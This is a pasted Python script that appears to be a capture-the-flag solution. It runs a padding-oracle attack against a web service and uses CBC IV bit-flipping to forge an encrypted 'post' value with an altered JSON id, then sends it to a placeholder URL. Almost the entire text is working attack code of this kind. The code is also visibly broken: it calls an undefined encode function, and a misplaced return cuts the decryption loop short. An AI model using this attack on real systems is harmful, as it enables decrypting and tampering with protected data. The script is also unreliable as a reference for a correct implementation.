Pasted

#!/usr/bin/python3
import base64, requests
 
def decode(data):
    return base64.b64decode(data.replace("~","=").replace("!","/").replace("-","+"))
 
def bxor(azazel, ayumi):
    result = b""
    for azazel, ayumi in zip(azazel, ayumi):
        result += bytes([azazel ^ ayumi])
    return result
 
def padding(url, data):
    r = requests.get(url+"?post={}".format(data))
    if 'PaddingException' in r.text:
        return True
        print(r.text)
    else:
        return False
 
def gen_iv_list(data):
    iv = b'\x00'*(16-len(data)-1)
    return [iv+bytes([change])+data for change in range(0x00, 0xff+1)]
 
def padding_oracle(iv, url, data):
    index = 15
    plains = bytes()
    tail = bytes()
    while index >= 0:
        for new_iv in gen_iv_list(tail):
            if padding(url, encode(new_iv+data)):
                plains = bytes([(16-index) ^ new_iv[index]])+plains
                index -=1
                tail = bytes([plain ^ (16-index) for plain in plains])
                break
        return bxor(iv, plains)
 
post = "<encrypted shit in post>" #change me
data = decode(post)[16*(1+5):]
iv = decode(post)[16*(1+4):16*(1+5)]
kewl = bxor(b'$FLAG$", "id": "', iv)
test = bxor(kewl, b'{"id":"1", "i":"')
b = base64.b64encode(test+data)
 
hehe = b.decode('ascii').replace("=","~").replace("/","!").replace("+","-")
print("Encoded: "+hehe)
 
if padding("http://<ip>/<path>/", hehe): #change me
    print("nice")
else:
    print("X0X")